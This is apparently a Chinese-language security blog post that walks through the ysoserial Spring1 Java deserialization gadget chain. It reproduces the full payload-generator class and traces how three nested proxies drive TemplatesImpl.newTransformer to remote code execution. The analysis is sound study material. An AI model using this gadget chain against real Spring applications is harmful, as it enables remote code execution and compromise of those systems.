Spring1
源码
- org.springframework:spring-core:4.1.4.RELEASE
- org.springframework:spring-beans:4.1.4.RELEASE
Spring1的代码颇有感触,真的是代理套代理
package ysoserial.payloads;
import static java.lang.Class.forName;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final ObjectFactory objectFactoryProxy =Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy),forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Spring1.class, args);}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();}
}
老样子直接从Spring1#getObject方法开始分析。
第一层代理
final Object templates = Gadgets.createTemplatesImpl(command);
这行代码在前面的文章已经见过很多次了,利用org.apache.xalan.xsltc.trax.TemplatesImpl
的属性_bytecodes存放字节码,这个字节码会在newTransformer方法中一步步调用变成一个对象执行里面的恶意代码,利用javassist技术把一个带有恶意代码的对象赋值给变量templates
ObjectFactory objectFactoryProxy = (ObjectFactory)Gadgets.createMemoitizedProxy(
Gadgets.createMap("getObject", templates),
ObjectFactory.class,
new Class[0]);
这里开始第一层代理的创建,先进入Gadgets.createMap("getObject", templates),
创建了一个Map对象map,只有一对键值"getObject":templates
,把我们之前构造好的恶意对象templates给放进map里了
接着进入Gadgets.createMemoitizedProxy
进入createMemoitizedProxy之后首先执行的是createMemoizedInvocationHandler
public static InvocationHandler createMemoizedInvocationHandler(Map<String, Object> map) throws Exception {
return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
}
Reflections.getFirstCtor
获取类的第一个构造方法,newInstance
实例化一个对象。创建了AnnotationInvocationHandler对象并且把上一步的map赋值给属性memberValues。AnnotationInvocationHandler是一个重写invoke方法的InvocationHandler实现类,是创建代理必须的参数之一,在代理创建好之后,调用代理目标的方法,会先执行代理对象的invoke方法。
回到createMemoitizedProxy
方法进入createProxy开始创建代理,前面先创建了一个数组allIfaces,接着把iface和ifaces的元素复制到allIfaces
最后进入Proxy.newProxyInstance开始实例化代理对象,allIfaces
数组中的元素代表了这个代理的目标接口类型,在调用这些元素的方法时会调用ih的invoke方法
第二层代理
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy),
Type.class,
Templates.class);
Gadgets.createProxy((InvocationHandler)Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy)
这里获取到ObjectFactoryDelegatingInvocationHandler的构造方法。这里需要注意的是,传入的参数使第一层代理objectFactoryProxy,并把第一层代理赋值给属性objectFactory
实例化ObjectFactoryDelegatingInvocationHandler之后进入createProxy
,留意一下代理目标和代理对象
第三层代理
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
一如既往的先创建Map对象,重点看一下forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")
,这一次的代理目标变成SerializableTypeWrapper中的TypeProvider
interface TypeProvider extends Serializable {
Type getType();
Object getSource();}
image-20230613182414585MethodInvokeTypeProvider
SerializableTypeWrapper$MethodInvokeTypeProvider
Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
代理创建完成之后,通过getFirstCtor
获取MethodInvokeTypeProvider的构造方法,赋值给mitpCtor,紧接着实例化MethodInvokeTypeProvider
Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
需要注意的是newInstance的参数,这样实例化出来的MethodInvokeTypeProvider对象,provider属性是第三层代理
image-20230613183950557得到MethodInvokeTypeProvider对象之后使用setFieldValue把methodName属性替换成newTransformer
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
返回MethodInvokeTypeProvider对象mitp
总结
得到mitp会先被序列化得到最终的payload。我们从反序列化触发,逆推上面的过程。
首先来到MethodInvokeTypeProvider重写的readObject
image-20230613200655280执行的时Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
执行了getType,但是没有弹出计算器说明这次执行getType并没有调用newTransformer方法
从getType往下分析,由于provider属性是第三层代理对象,先去执行了AnnotationInvocationHandler的invoke,var2就是代理的方法也就是getType,会执行到Object var6 = this.memberValues.get(var4);
memberValues属性是一个Map对象,memberValues的"getType"
在getObject时被指向typeTemplatesProxy也就是第二层代理。
Object var6 = this.memberValues.get(var4);
最后return的var6是第二层代理,拿到第二层代理之后又执行了getClass
于是顺理成章进入第二层代理的invoke,第二层代理的invoke位于org.springframework.beans.factory.support.AutowireUtils的ObjectFactoryDelegatingInvocationHandler
image-20230613193335925在第二层代理的invoke方法又调用了objectFactory属性的getObject方法,objectFactory是一个Map并且键"getObject"
在Spring1的getObject时被指向templates也就是第一层代理
这时候进入第一层代理,在第一层代理中又调用了memberValues属性的get方法,memberValues属性也是一个map,在第二层代理中调用的是getObject方法所以获取到var4就是"getObject"
,在memberValues中"getObject"
对应的值刚好是我们创建的恶意对象templates
templates被一路return,templates中存在newTransformer方法,所以最后method的值变成了templates的newTransformer方法,一串代理链路最好至少返回了templates对象并没有调用newTransformer所以没有执行命令。
image-20230614100427062接着进入ReflectionUtils.invokeMethod(method, this.provider.getType());
,需要注意的是,这里又执行了this.provider.getType()所以进入invokeMethod方法的参数一个是newTransformer方法、第二层代理。
继续向下走,这里补充一点,method.invoke(target, args)
方法会传入两个参数:
target
:要调用方法的目标对象。如果方法是静态的,则可以为 null。args
:传递给被调用方法的参数列表。如果方法没有参数,则应该传入一个长度为 0 的空数组。
由于target
是一个代理就再次进入了第二层代理的invoke
最后又获得了TemplatesImpl又调用了他的newTransformer成功RCE
image-20230614103053357